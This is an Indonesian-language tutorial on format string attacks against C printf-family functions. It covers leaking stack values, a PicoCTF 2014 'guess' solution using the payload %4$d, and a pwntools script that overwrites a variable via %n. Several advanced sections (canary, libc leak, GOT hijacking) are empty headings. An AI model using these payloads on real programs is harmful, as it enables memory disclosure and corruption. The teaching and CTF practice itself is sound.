Format String Attack

Format String Attack adalah vulnerability yang memanfaatkan format specifiers yang dimana dapat dimanfaatkan untuk melakukan read/write pada memory. Fungsi printf family seperti (printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf) tergolong kedalam fungsi yang vulnerable Format String Attack.

Format String Attack terjadi karena inputan user langsung di render oleh fungsi yang menggunakan prinsip Format Specifier (seperti printf family) sehingga nilai-nilai yang berada pada memory dapat diread/write.

Format Specifier

Format Specifier Output
%d, %i Decimal
%u Unsigned Decimal
%x Hex Decimal
%c Character
%p Pointer
%n Writes the number of characters into a pointer

Example :

#include <stdio.h>

int main(void){
    int x = 1337;
    char name[] = "Aiden Pearce";
    printf("Decimal num : %d\n", x);
    printf("Hex num : %x\n", x);
    printf("Name : %s\n", name);
    printf("Address of name : %p\n", name);
    printf("Address of x : %p\n", &x);

    return 0;
}
$ gcc format.c -o format
$ ./format
Decimal num : 1337
Hex num : 539
Name : Aiden Pearce
Address of name : 0x7ffdb0eaca90
Address of x : 0x7ffdb0eaca8c

%[parameter][flags][width][.precision][length]specifier

$ ./format_1
Output : 2018 1337

Read value from memory

Untuk melakukan read data dari memory sebenarnya cukup mudah, yaitu hanya dengan menggunakan salah satu format specifier yang disebutkan sebelumnya. Apabila data yang ingin kita read output nya dalam bentuk Hex decimal maka gunakan format specifier %x, apabila ingin output nya berupa Decimal maka gunakan %d dan %p untuk output dalam bentuk address memory.

Contoh program yang vulnerability

#include <stdio.h>

int main(int argc, char *argv[]){

    printf(argv[1]);

    return 0;
}
$ ./read_memory_1 "%p %p %p %p %p %p"
(nil) 0xf7db4637 0x2 0xffb7b3c4 0xffb7b3d0 (nil)

nilai 0x00 atau NULL byte akan direpresentasikan sebagai (nil).

Perlu diketahui, bahwa data yang di read diatas merupakan nilai-nilai berada dalam Stack Frame (dari fungsi yang dipanggil saat ini yaitu fungsi main()) tepat sebelum fungsi printf dipanggil. Stack Frame sendiri bisa dibilang adalah “area bermain” suatu fungsi, yaitu untuk menyimpan Local Variable dan Return Address ataupun nilai-nilai lain yang dibutuhkan oleh fungsi yang bersangkutan.

Agar lebih memahami nilai-nilai yang terleak bisa didebug menggunakan gdb, dan agar mengetahui dengan tepat nilai-nilai yang akan terleak, saya memasang breakpoint tepat sebelum fungsi printf() dieksekusi.

Note: *Nilai stack saat proses debug dengan gdb berbeda karena ASLR nya enable

Dari keadaan Stack diatas dapat diketahui bahwa nilai yang terleak adalah

0x0 - (Argument pertama)
0xf7e0f647 - (Argument kedua)
0x2 - (Argument ketiga)
0xffffc3f4 - (Argument keempat)
0xffffc400 - (Argument kelima)
0x0 - (Argument keenam)

Dengan menggunakan cara debugging seperti diatas, kita dapat mengetahui dengan pasti nilai yang akan terleak, sehingga tidak perlu lagi melakukan trial and error dengan cara memasukan format specifier yang banyak untuk mengetahui nilai-nilai yang terleak.

Study Kasus : PicoCTF 2014 - Guess

Pada soal PicoCTF 2014 terdapat soal bernama guess yang vulnerable format string attack, berikut source nya :

#include <stdio.h>
#include <stdlib.h>

char *flag = "learning_format_string_attack";

void main(){
    int secret, guess;
    char name[32];
    long seed;

    FILE *f = fopen("/dev/urandom", "rb");
    fread(&secret, sizeof(int), 1, f);
    fclose(f);

    printf("Hello! What is your name?\n");
    fgets(name, sizeof(name), stdin);

    printf("Welcome to the guessing game, ");
    printf(name);
    printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");

    printf("What is your guess?\n");
    scanf("%d", &guess);

    if(guess == secret){
        printf("Wow! You guessed it!\n");
        printf("Your flag is: %s\n", flag);
    }else{
        printf("Hah! I knew you wouldn't get it.\n");
    }
}

Dapat diketahui bahwa program tersebut mengambil 32 bit (4 bytes) random byte dari /dev/urandom dan menyimpan nya ke variable secret.

    FILE *f = fopen("/dev/urandom", "rb");
    fread(&secret, sizeof(int), 1, f);
    fclose(f);

Tentu saja kesempatan untuk menebak 32 bit (4 bytes) adalah 1 dari 2^32 (4.294.967.296) kesempatan. Tapi program tersebut vulnerable format string attack, sehingga sangat memungkinkan untuk meleak nilai dari secret sebelum secret akan dibandingkan dengan inputkan kita yang disimpan di variable guess.

fgets(name, sizeof(name), stdin);
printf("Welcome to the guessing game, ");
printf(name); // here is the bug
$ ./guess
Hello! What is your name?
%d %d %d %d %d %d %d
Welcome to the guessing game, 32 -134797920 149999624 973938019 -134799360 149999624 622879781

I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
1234
Hah! I knew you wouldn't get it.

Dengan menginputkan banyak format specifier sembarangan memang akan membuat kita bisa meleak nilai yang ada di Stack, tetapi kita tidak tahu dengan pasti yang mana yang merupakan nilai dari variable secret. Oleh karena itu bisa dilakukan debugging menggunakan gdb seperti cara yang sebelumnya.

Saya akan memasang 2 Breakpoint

  1. Setelah fungsi fread dieksekusi yang men-set nilai variable secret yaitu pada address 0x0804862f
  2. Tepat sebelum printf (yang vulnerable format string) dieksekusi untuk mengetahui layout stack nya
gdb-peda$ b *0x804862f
Breakpoint 1 at 0x804862f
gdb-peda$ b *0x0804867e
Breakpoint 2 at 0x804867e

Nilai variable secret pada saat proses debugging adalah 0x5baecfd5.

Perhatikan layout stack sebelum printf dieksekusi, dapat diketahui bahwa nilai variable secret berada di argument ke-4.

Karena nilai secret diketahui berada di posisi ke 4, berarti tinggal menggunakan format %4$d untuk mendapatkan nilai secret yang valid.

$ ./guess
Hello! What is your name?
%4$d
Welcome to the guessing game, 1289956455

I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
1289956455
Wow! You guessed it!
Your flag is: learning_format_string_attack

Write value into memory address

%n Format Specifier

int x;
printf("HELLO WORLD%n", &x);
printf("x = %d", x);
$ ./write
HELLO WORLDx = 11

x akan bernilai 11. Karena fungsi dari %n akan menuliskan jumlah/panjang karakter Output dari printf() dalam contoh program diatas, string HELLO WORLD adalah outputnya, dimana jumlah/panjang karakter nya adalah 11 karakter, lalu 11 yang marupakan jumlah karakternya akan disimpan di variable x.

Hal seperti itu sama saja seperti x = len("HELLO WORLD") apabila di python.

Perlu diperhatikan, fungsi dari %n memang akan menusliskan jumlah/panjang karakter Output tetapi itu bergantung pada dimana posisi %n dilatakan.

int x;
printf("HELLO%n WORLD", &x);
printf("x = %d", x);

Apabila program diatas dijalankan, Outputnya adalah string HELLO WORLD, tetapi %n diletakan tepat setelah string HELLO oleh karena itu nilai dari variable x adalah 5 karena panjang string HELLO = 5.

$ ./write
HELLO WORLDx = 5

Study Kasus : Overwrite Variable

#include <stdio.h>
#include <stdlib.h>

char secret = 'A';

int main(int argc, char **argv){

    printf(argv[1]);
    fflush(stdout);
    if (secret == 'Z'){
        puts("Good, You Modified secret variable");
    }else{
        puts("You Are Not 1337");
    }
    return 0;
}
$ ./format "%p %p %p %p %p %p %p %p"
0xfffe0504 0xfffe0510 0x80484c1 0xf7f8d3dc 0xfffe0470 (nil) 0xf7df3637 0xf7f8d000You Are Not 1337
from pwn import p32

def padding(payload):
    return payload + "X" * (32-len(payload))

# nm format | grep "secret"
secret = 0x0804a024

payload = ""
payload += p32(secret)
payload += "%86c%260$n"

print padding(payload)

Leak Stack Canary

Leak libc address

Leak PIE Base Address

GOT hijacking

Tips For 64 Bit Binary